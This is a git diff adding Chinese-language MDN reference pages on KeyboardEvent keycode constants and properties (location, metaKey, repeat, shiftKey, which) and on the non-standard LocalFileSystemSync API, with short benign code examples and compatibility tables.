+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常数描述
DOM_VK_CANCEL0x03 (3)Cancel key.
DOM_VK_HELP0x06 (6)Help key.
DOM_VK_BACK_SPACE0x08 (8)Backspace key.
DOM_VK_TAB0x09 (9)Tab key.
DOM_VK_CLEAR0x0C (12)"5" key on Numpad when NumLock is unlocked. Or on Mac, clear key which is positioned at NumLock key.
DOM_VK_RETURN0x0D (13)Return/enter key on the main keyboard.
DOM_VK_ENTER0x0E (14)Reserved, but not used. {{obsolete_inline(30)}} (Dropped, see {{bug(969247)}}.)
DOM_VK_SHIFT0x10 (16)Shift key.
DOM_VK_CONTROL0x11 (17)Control key.
DOM_VK_ALT0x12 (18)Alt (Option on Mac) key.
DOM_VK_PAUSE0x13 (19)Pause key.
DOM_VK_CAPS_LOCK0x14 (20)Caps lock.
DOM_VK_KANA0x15 (21)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_HANGUL0x15 (21)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_EISU0x 16 (22)"英数" key on Japanese Mac keyboard. {{gecko_minversion_inline("15.0")}}
DOM_VK_JUNJA0x17 (23)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_FINAL0x18 (24)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_HANJA0x19 (25)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_KANJI0x19 (25)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_ESCAPE0x1B (27)Escape key.
DOM_VK_CONVERT0x1C (28)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_NONCONVERT0x1D (29)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_ACCEPT0x1E (30)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_MODECHANGE0x1F (31)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_SPACE0x20 (32)Space bar.
DOM_VK_PAGE_UP0x21 (33)Page Up key.
DOM_VK_PAGE_DOWN0x22 (34)Page Down key.
DOM_VK_END0x23 (35)End key.
DOM_VK_HOME0x24 (36)Home key.
DOM_VK_LEFT0x25 (37)Left arrow.
DOM_VK_UP0x26 (38)Up arrow.
DOM_VK_RIGHT0x27 (39)Right arrow.
DOM_VK_DOWN0x28 (40)Down arrow.
DOM_VK_SELECT0x29 (41)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_PRINT0x2A (42)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_EXECUTE0x2B (43)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_PRINTSCREEN0x2C (44)Print Screen key.
DOM_VK_INSERT0x2D (45)Ins(ert) key.
DOM_VK_DELETE0x2E (46)Del(ete) key.
DOM_VK_00x30 (48)"0" key in standard key location.
DOM_VK_10x31 (49)"1" key in standard key location.
DOM_VK_20x32 (50)"2" key in standard key location.
DOM_VK_30x33 (51)"3" key in standard key location.
DOM_VK_40x34 (52)"4" key in standard key location.
DOM_VK_50x35 (53)"5" key in standard key location.
DOM_VK_60x36 (54)"6" key in standard key location.
DOM_VK_70x37 (55)"7" key in standard key location.
DOM_VK_80x38 (56)"8" key in standard key location.
DOM_VK_90x39 (57)"9" key in standard key location.
DOM_VK_COLON0x3A (58)Colon (":") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_SEMICOLON0x3B (59)Semicolon (";") key.
DOM_VK_LESS_THAN0x3C (60)Less-than ("<") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_EQUALS0x3D (61)Equals ("=") key.
DOM_VK_GREATER_THAN0x3E (62)Greater-than (">") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_QUESTION_MARK0x3F (63)Question mark ("?") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_AT0x40 (64)Atmark ("@") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_A0x41 (65)"A" key.
DOM_VK_B0x42 (66)"B" key.
DOM_VK_C0x43 (67)"C" key.
DOM_VK_D0x44 (68)"D" key.
DOM_VK_E0x45 (69)"E" key.
DOM_VK_F0x46 (70)"F" key.
DOM_VK_G0x47 (71)"G" key.
DOM_VK_H0x48 (72)"H" key.
DOM_VK_I0x49 (73)"I" key.
DOM_VK_J0x4A (74)"J" key.
DOM_VK_K0x4B (75)"K" key.
DOM_VK_L0x4C (76)"L" key.
DOM_VK_M0x4D (77)"M" key.
DOM_VK_N0x4E (78)"N" key.
DOM_VK_O0x4F (79)"O" key.
DOM_VK_P0x50 (80)"P" key.
DOM_VK_Q0x51 (81)"Q" key.
DOM_VK_R0x52 (82)"R" key.
DOM_VK_S0x53 (83)"S" key.
DOM_VK_T0x54 (84)"T" key.
DOM_VK_U0x55 (85)"U" key.
DOM_VK_V0x56 (86)"V" key.
DOM_VK_W0x57 (87)"W" key.
DOM_VK_X0x58 (88)"X" key.
DOM_VK_Y0x59 (89)"Y" key.
DOM_VK_Z0x5A (90)"Z" key.
DOM_VK_WIN0x5B (91)Windows logo key on Windows. Or Super or Hyper key on Linux. {{gecko_minversion_inline("15.0")}}
DOM_VK_CONTEXT_MENU0x5D (93)Opening context menu key.
DOM_VK_SLEEP0x5F (95)Linux support for this keycode was added in Gecko 4.0.
DOM_VK_NUMPAD00x60 (96)"0" on the numeric keypad.
DOM_VK_NUMPAD10x61 (97)"1" on the numeric keypad.
DOM_VK_NUMPAD20x62 (98)"2" on the numeric keypad.
DOM_VK_NUMPAD30x63 (99)"3" on the numeric keypad.
DOM_VK_NUMPAD40x64 (100)"4" on the numeric keypad.
DOM_VK_NUMPAD50x65 (101)"5" on the numeric keypad.
DOM_VK_NUMPAD60x66 (102)"6" on the numeric keypad.
DOM_VK_NUMPAD70x67 (103)"7" on the numeric keypad.
DOM_VK_NUMPAD80x68 (104)"8" on the numeric keypad.
DOM_VK_NUMPAD90x69 (105)"9" on the numeric keypad.
DOM_VK_MULTIPLY0x6A (106)"*" on the numeric keypad.
DOM_VK_ADD0x6B (107)"+" on the numeric keypad.
DOM_VK_SEPARATOR0x6C (108)
DOM_VK_SUBTRACT0x6D (109)"-" on the numeric keypad.
DOM_VK_DECIMAL0x6E (110)Decimal point on the numeric keypad.
DOM_VK_DIVIDE0x6F (111)"/" on the numeric keypad.
DOM_VK_F10x70 (112)F1 key.
DOM_VK_F20x71 (113)F2 key.
DOM_VK_F30x72 (114)F3 key.
DOM_VK_F40x73 (115)F4 key.
DOM_VK_F50x74 (116)F5 key.
DOM_VK_F60x75 (117)F6 key.
DOM_VK_F70x76 (118)F7 key.
DOM_VK_F80x77 (119)F8 key.
DOM_VK_F90x78 (120)F9 key.
DOM_VK_F100x79 (121)F10 key.
DOM_VK_F110x7A (122)F11 key.
DOM_VK_F120x7B (123)F12 key.
DOM_VK_F130x7C (124)F13 key.
DOM_VK_F140x7D (125)F14 key.
DOM_VK_F150x7E (126)F15 key.
DOM_VK_F160x7F (127)F16 key.
DOM_VK_F170x80 (128)F17 key.
DOM_VK_F180x81 (129)F18 key.
DOM_VK_F190x82 (130)F19 key.
DOM_VK_F200x83 (131)F20 key.
DOM_VK_F210x84 (132)F21 key.
DOM_VK_F220x85 (133)F22 key.
DOM_VK_F230x86 (134)F23 key.
DOM_VK_F240x87 (135)F24 key.
DOM_VK_NUM_LOCK0x90 (144)Num Lock key.
DOM_VK_SCROLL_LOCK0x91 (145)Scroll Lock key.
DOM_VK_WIN_OEM_FJ_JISHO0x92 (146)An OEM specific key on Windows. This was used for "Dictionary" key on Fujitsu OASYS. {{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_FJ_MASSHOU0x93 (147)An OEM specific key on Windows. This was used for "Unregister word" key on Fujitsu OASYS. {{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_FJ_TOUROKU0x94 (148)An OEM specific key on Windows. This was used for "Register word" key on Fujitsu OASYS. {{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_FJ_LOYA0x95 (149)An OEM specific key on Windows. This was used for "Left OYAYUBI" key on Fujitsu OASYS. {{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_FJ_ROYA0x96 (150)An OEM specific key on Windows. This was used for "Right OYAYUBI" key on Fujitsu OASYS. {{gecko_minversion_inline("21.0")}}
DOM_VK_CIRCUMFLEX0xA0 (160)Circumflex ("^") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_EXCLAMATION0xA1 (161)Exclamation ("!") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_DOUBLE_QUOTE0xA3 (162)Double quote (""") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_HASH0xA3 (163)Hash ("#") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_DOLLAR0xA4 (164)Dollar sign ("$") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_PERCENT0xA5 (165)Percent ("%") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_AMPERSAND0xA6 (166)Ampersand ("&") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_UNDERSCORE0xA7 (167)Underscore ("_") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_OPEN_PAREN0xA8 (168)Open parenthesis ("(") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_CLOSE_PAREN0xA9 (169)Close parenthesis (")") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_ASTERISK0xAA (170)Asterisk ("*") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_PLUS0xAB (171)Plus ("+") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_PIPE0xAC (172)Pipe ("|") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_HYPHEN_MINUS0xAD (173)Hyphen-US/docs/Minus ("-") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_OPEN_CURLY_BRACKET0xAE (174)Open curly bracket ("{") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_CLOSE_CURLY_BRACKET0xAF (175)Close curly bracket ("}") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_TILDE0xB0 (176)Tilde ("~") key. {{gecko_minversion_inline("15.0")}}
DOM_VK_VOLUME_MUTE0xB5 (181)Audio mute key. {{gecko_minversion_inline("21.0")}}
DOM_VK_VOLUME_DOWN0xB6 (182)Audio volume down key {{gecko_minversion_inline("21.0")}}
DOM_VK_VOLUME_UP0xB7 (183)Audio volume up key {{gecko_minversion_inline("21.0")}}
DOM_VK_COMMA0xBC (188)Comma (",") key.
DOM_VK_PERIOD0xBE (190)Period (".") key.
DOM_VK_SLASH0xBF (191)Slash ("/") key.
DOM_VK_BACK_QUOTE0xC0 (192)Back tick ("`") key.
DOM_VK_OPEN_BRACKET0xDB (219)Open square bracket ("[") key.
DOM_VK_BACK_SLASH0xDC (220)Back slash ("\") key.
DOM_VK_CLOSE_BRACKET0xDD (221)Close square bracket ("]") key.
DOM_VK_QUOTE0xDE (222)Quote (''') key.
DOM_VK_META0xE0 (224)Meta key on Linux, Command key on Mac.
DOM_VK_ALTGR0xE1 (225)AltGr key (Level 3 Shift key or Level 5 Shift key) on Linux. {{gecko_minversion_inline("15.0")}}
DOM_VK_WIN_ICO_HELP0xE3 (227)An OEM specific key on Windows. This is (was?) used for Olivetti ICO keyboard.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_ICO_000xE4 (228)An OEM specific key on Windows. This is (was?) used for Olivetti ICO keyboard.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_ICO_CLEAR0xE6 (230)An OEM specific key on Windows. This is (was?) used for Olivetti ICO keyboard.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_RESET0xE9 (233)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_JUMP0xEA (234)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_PA10xEB (235)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_PA20xEC (236)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_PA30xED (237)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_WSCTRL0xEE (238)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_CUSEL0xEF (239)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_ATTN0xF0 (240)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_FINISH0xF1 (241)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_COPY0xF2 (242)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_AUTO0xF3 (243)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_ENLW0xF4 (244)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_BACKTAB0xF5 (245)An OEM specific key on Windows. This was used for Nokia/Ericsson's device.{{gecko_minversion_inline("21.0")}}
DOM_VK_ATTN0xF6 (246)Attn (Attention) key of IBM midrange computers, e.g., AS/400. {{gecko_minversion_inline("21.0")}}
DOM_VK_CRSEL0xF7 (247)CrSel (Cursor Selection) key of IBM 3270 keyboard layout. {{gecko_minversion_inline("21.0")}}
DOM_VK_EXSEL0xF8 (248)ExSel (Extend Selection) key of IBM 3270 keyboard layout. {{gecko_minversion_inline("21.0")}}
DOM_VK_EREOF0xF9 (249)Erase EOF key of IBM 3270 keyboard layout. {{gecko_minversion_inline("21.0")}}
DOM_VK_PLAY0xFA (250)Play key of IBM 3270 keyboard layout. {{gecko_minversion_inline("21.0")}}
DOM_VK_ZOOM0xFB (251)Zoom key. {{gecko_minversion_inline("21.0")}}
DOM_VK_PA10xFD (253)PA1 key of IBM 3270 keyboard layout. {{gecko_minversion_inline("21.0")}}
DOM_VK_WIN_OEM_CLEAR0xFE (254)Clear key, but we're not sure the meaning difference from DOM_VK_CLEAR. {{gecko_minversion_inline("21.0")}}
+ +

Windows上的OEM特定密钥

+ +

在Windows上,虚拟密钥代码的某些值是为特定于OEM的密钥定义(保留)的。它们可用于非标准键盘上的特殊键。换句话说,一些值被两个或多个供应商(或硬件)用于不同的含义。

+ +

从gecko 21(并且早于15)开始,仅在Windows上的keycode属性上提供OEM特定的键值。因此,它们对于通常的Web应用程序不有用。它们仅对内部网应用程序或类似情况有用。

+ +

查看MSDN上的"Manufacturer-specific Virtual-Key Codes (Windows CE 5.0)"了解更多

+ +
diff --git a/files/zh-cn/web/api/keyboardevent/location/index.html b/files/zh-cn/web/api/keyboardevent/location/index.html new file mode 100644 index 0000000000..753da8023a --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/location/index.html @@ -0,0 +1,104 @@ +--- +title: KeyboardEvent.location +slug: Web/API/KeyboardEvent/location +translation_of: Web/API/KeyboardEvent/location +--- +
{{APIRef("DOM Events")}}
+ +

KeyboardEvent.location 是一个只读属性,返回一个无符号的长整型 unsigned long,表示按键在键盘或其他设备上的位置

+ +

可选值:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValueDescription
DOM_KEY_LOCATION_STANDARD0The key has only one version, or can't be distinguished between the left and right versions of the key, and was not pressed on the numeric keypad or a key that is considered to be part of the keypad.
DOM_KEY_LOCATION_LEFT1The key was the left-hand version of the key; for example, the left-hand Control key was pressed on a standard 101 key US keyboard. This value is only used for keys that have more than one possible location on the keyboard.
DOM_KEY_LOCATION_RIGHT2The key was the right-hand version of the key; for example, the right-hand Control key is pressed on a standard 101 key US keyboard. This value is only used for keys that have more than one possible location on the keyboard.
DOM_KEY_LOCATION_NUMPAD3 +

The key was on the numeric keypad, or has a virtual key code that corresponds to the numeric keypad.

+ +
Note: When NumLock is locked, Gecko always returns DOM_KEY_LOCATION_NUMPAD for the keys on the numeric pad. Otherwise, when NumLock is unlocked and the keyboard actually has a numeric keypad, Gecko always returns DOM_KEY_LOCATION_NUMPAD too. On the other hand, if the keyboard doesn't have a keypad, such as on a notebook computer, some keys become Numpad only when NumLock is locked. When such keys fires key events, the location attribute value depends on the key. That is, it must not be DOM_KEY_LOCATION_NUMPAD.
+ +
Note: NumLock key's key events indicate DOM_KEY_LOCATION_STANDARD both on Gecko and Internet Explorer.
+
DOM_KEY_LOCATION_MOBILE {{Non-standard_inline()}}{{obsolete_inline(38)}}4 +

The key was on a mobile device; this can be on either a physical keypad or a virtual keyboard.

+ +
Note: Gecko always returns DOM_KEY_LOCATION_MOBILE on Android (Prior to 18), Maemo, and Boot to Gecko. However, at {{gecko("38")}}, this is dropped.
+
DOM_KEY_LOCATION_JOYSTICK {{Non-standard_inline()}}{{obsolete_inline(38)}}5 +

The key was a button on a game controller or a joystick on a mobile device.

+ +
Note: Gecko never fires trusted key events with DOM_KEY_LOCATION_JOYSTICK except on Android. Starting 18, native key events on Android may have this value. {{gecko_minversion_inline("18.0")}} However, at {{gecko("38")}}, this is dropped.
+
+ +

Syntax

+ +
var location = event.location;
+ +

Example

+ +
function keyEvent(event) {
+  console.log("Location of key pressed: " + event.location);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events', '#widl-KeyboardEvent-location', 'KeyboardEvent.location')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.KeyboardEvent.location")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/keyboardevent/metakey/index.html b/files/zh-cn/web/api/keyboardevent/metakey/index.html new file mode 100644 index 0000000000..8548733aed --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/metakey/index.html @@ -0,0 +1,66 @@ +--- +title: KeyboardEvent.metaKey +slug: Web/API/KeyboardEvent/metaKey +tags: + - API + - MouseEvent +translation_of: Web/API/KeyboardEvent/metaKey +--- +

{{APIRef("DOM Events")}}

+ +

KeyboardEvent.metaKey 为只读属性,返回一个 {{jsxref("Boolean", "布尔值")}},在事件发生时,用于指示 Meta 键是按下状态(true),还是释放状态(false)。

+ +
+

备注:在MAC键盘上,表示 Command 键(),在Windows键盘上,表示 Windows 键()。

+
+ +

语法

+ +
var metaKeyPressed = instanceOfKeyboardEvent.metaKey
+
+ +

返回值

+ +

一个布尔值

+ +

示例

+ +
 function goInput(e) {
+ // 检测metaKey值
+   if (e.metaKey) {
+        // 继续处理事件
+     superSizeOutput(e);
+   } else {
+     doOutput(e);
+   }
+ }
+
+ +

{{ EmbedLiveSample('Example', 400, 36) }}

+ +

规范

+ + + + + + + + + + + + + + +
规范版本规范状态备注
{{SpecName('DOM3 Events','#widl-KeyboardEvent-ctrlKey','KeyboardEvent.ctrlKey')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.KeyboardEvent.metaKey")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/keyboardevent/repeat/index.html b/files/zh-cn/web/api/keyboardevent/repeat/index.html new file mode 100644 index 0000000000..d18d39473e --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/repeat/index.html @@ -0,0 +1,85 @@ +--- +title: KeyboardEvent.repeat +slug: Web/API/KeyboardEvent/repeat +tags: + - KeyboardEvent +translation_of: Web/API/KeyboardEvent/repeat +--- +

{{APIRef("DOM Events")}}

+ +

KeyboardEvent.repeat是一个只读属性,返回一个布尔值{{jsxref("Boolean")}},如果按键被一直按住,返回值为true

+ +

语法

+ +
var repeat = event.repeat;
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events', '#widl-KeyboardEvent-repeat', 'KeyboardEvent.repeat')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoDesktop(28) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{CompatVersionUnknown}}{{ CompatGeckoMobile(28) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
diff --git a/files/zh-cn/web/api/keyboardevent/shiftkey/index.html b/files/zh-cn/web/api/keyboardevent/shiftkey/index.html new file mode 100644 index 0000000000..29f5baefdc --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/shiftkey/index.html @@ -0,0 +1,128 @@ +--- +title: KeyboardEvent.shiftKey +slug: Web/API/KeyboardEvent/shiftKey +tags: + - API + - DOM + - KeyboardEvent + - events + - 鼠标事件 +translation_of: Web/API/KeyboardEvent/shiftKey +--- +

{{APIRef("DOM Events")}}

+ +

KeyboardEvent.shiftKey 只读属性返回一个 {{jsxref("Boolean")}} 值,表示事件触发时 shift 键是 (true) 否(false)按下。

+ +

语法

+ +
var shiftKeyPressed = instanceOfKeyboardEvent.shiftKey
+
+ +

返回值

+ +

布尔值

+ +

示例

+ +
<html>
+<head>
+<title>shiftKey example</title>
+
+<script type="text/javascript">
+
+function showChar(e){
+  alert(
+    "Key Pressed: " + String.fromCharCode(e.charCode) + "\n"
+    + "charCode: " + e.charCode + "\n"
+    + "SHIFT key pressed: " + e.shiftKey + "\n"
+    + "ALT key pressed: " + e.altKey + "\n"
+  );
+}
+
+</script>
+</head>
+
+<body onkeypress="showChar(event);">
+<p>Press any character key, with or without holding down
+ the SHIFT key.<br />
+You can also use the SHIFT key together with the ALT key.</p>
+</body>
+</html>
+
+ +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-KeyboardEvent-shiftKey','KeyboardEvent.shiftKey')}}{{Spec2('DOM3 Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性EdgeFirefox (Gecko)ChromeInternet ExplorerOperaSafari
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}{{CompatVersionUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性EdgeFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/keyboardevent/which/index.html b/files/zh-cn/web/api/keyboardevent/which/index.html new file mode 100644 index 0000000000..56136f398e --- /dev/null +++ b/files/zh-cn/web/api/keyboardevent/which/index.html @@ -0,0 +1,101 @@ +--- +title: KeyboardEvent.which +slug: Web/API/KeyboardEvent/which +tags: + - Code + - DOM + - Key + - KeyboardEvent + - keyCode + - which +translation_of: Web/API/KeyboardEvent/which +--- +
{{ APIRef("DOM Events") }} {{Deprecated_header}}
+ +

{{domxref("KeyboardEvent")}} 接口的 which 只读属性返回所按下键的数字 keyCode 或所按下字母数字键的字符代码 (charCode) 。

+ +

语法

+ +
var keyResult = event.which;
+
+ +

返回值

+ + + +

例子

+ +
<html>
+<head>
+<title>charCode/keyCode/which example</title>
+
+<script type="text/javascript">
+
+function showKeyPress(evt) {
+alert("onkeypress handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+      + "charCode property: " + evt.charCode + "\n"
+      + "Character Key Pressed: "
+      + String.fromCharCode(evt.charCode) + "\n"
+     );
+}
+
+
+function keyDown(evt) {
+alert("onkeydown handler: \n"
+      + "keyCode property: " + evt.keyCode + "\n"
+      + "which property: " + evt.which + "\n"
+     );
+}
+
+</script>
+</head>
+
+<body
+ onkeypress="showKeyPress(event);"
+ onkeydown="keyDown(event);"
+>
+
+<p>Please press any key.</p>
+
+</body>
+</html>
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#legacy-interface-KeyboardEvent','KeyboardEvent.which')}}{{Spec2('DOM3 Events')}}Initial definition; specified as deprecated
+ +

浏览器兼容性

+ + + +

{{Compat("api.KeyboardEvent.which")}}

+ +

See also

+ + + +
+
+
diff --git a/files/zh-cn/web/api/localfilesystemsync/index.html b/files/zh-cn/web/api/localfilesystemsync/index.html new file mode 100644 index 0000000000..799d89ee80 --- /dev/null +++ b/files/zh-cn/web/api/localfilesystemsync/index.html @@ -0,0 +1,227 @@ +--- +title: LocalFileSystemSync +slug: Web/API/LocalFileSystemSync +translation_of: Web/API/LocalFileSystemSync +--- +
{{APIRef("File System API")}}{{non-standard_header()}}
+ +

文件系统 API 的 LocalFileSystemSync 接口允许你访问沙盒中的文件系统。它的目的是和 WebWorkers 一起使用。方法由 worker 对象实现。

+ +

关于这个文档

+ +

这个文档最后更新于 2012 年 3 月 2 日,并遵循 W3C 规范(工作草案),起草于 2011 年 4 月 19 日。

+ +

这个规范或多或少已经废弃,没有得到大量的关注。

+ +

基本概念

+ +

通过在 WebWorker 中请求 LocalFileSystemSync 对象,你可以请求访问沙盒文件系统。window 对象的全局方法 requestFileSystemSync() 和 resolveLocalFileSystemSyncURL() 暴露在 Worker 的全局域中。调用 window.requestFileSystemSync() 来为你的 Web 应用创建新的存储器。

+ +

更多概念请见 异步 API 的对应文章

+ +

示例

+ +
//Taking care of the browser-specific prefix
+window.requestFileSystemSync  = window.requestFileSystemSync || window.webkitRequestFileSystemSync;
+
+// The first parameter defines the type of storage: persistent or temporary
+// Next, set the size of space needed (in bytes)
+// initFs is the success callback
+// And the last one is the error callback
+// for denial of access and other errors.
+
+var fs = requestFileSystemSync(TEMPORARY, 1024*1024 /*1MB*/);
+ +

由于你使用了同步 API,你并不需要成功或者错误回调。

+ +

方法概览

+ + + + + + + + + + +
FileSystemSync requestFileSystemSync (in unsigned short type, in long long size) raises FileException;
EntrySync resolveLocalFileSystemSyncURL (in DOMString url) raises FileException;
+ +

常量

+ + + + + + + + + + + + + + + + + + + + + +
常量描述
TEMPORARY0 +

暂时的存储器,可由浏览器自主移除。

+
PERSISTENT1存在于浏览器的存储器,除非用户或者应用移除它。
+ +

方法

+ +

requestFileSystemSync()

+ +

请求一个文件系统,数据应该储存到这里。通过在 WebWorker 中使用这个全局方法(window.requestFileSystemSync())请求 LocalFileSystemSync 对象,来访问沙盒文件系统。 [ RESEARCH ]

+ +
FileSystemSync requestFileSystemSync(
+  in unsigned short type,
+  in unsigned long long size
+);
+ +
参数
+ +
+
type
+
文件系统的储存类型。值为 TEMPORARY 或 PERSISTENT
+
size
+
存储器的空间—按字节—你需要将其用于你的应用。
+
+ +
返回值
+ +
+
FileSystemSync
+
表示文件系统的对象。
+
+ +
异常
+ +

这个方法可能产生 FileException ,带有下面的错误代码:

+ + + + + + + + + + + + +
异常描述
SECURITY_ERROR应用没有权限来访问文件系统接口。例如,你不能执行 file:// 。更多细节请见 基本概念的文章
+ +

resolveLocalFileSystemSyncURL()

+ +

允许用户来检索文件或者目录的 Entry ,由本地 URL 引用。

+ +
void resolveLocalFileSystemURL(
+  in DOMString url
+);
+ +
参数
+ +
+
url
+
文件系统中的本地文件的 URL。
+
+ +
返回值
+ +
+
EntrySync
+
表示文件系统中条目的对象。
+
+ +
异常
+ +

这个方法可能产生 FileException ,带有下列错误代码:

+ + + + + + + + + + + + + + + + + + + + + + +
异常描述
ENCODING_ERRURL 语法错误。
NOT_FOUND_ERRURL 结构正确,但是指向了不存在的资源。
SECURITY_ERR应用没有权限来访问文件系统接口。
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support13{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}0.16{{ property_prefix("webkit") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

另见

+ +

规范:{{ spec("http://dev.w3.org/2009/dap/file-system/pub/FileSystem/", "File API: Directories and System Specification", "WD") }}

+ +

参考:文件系统 API

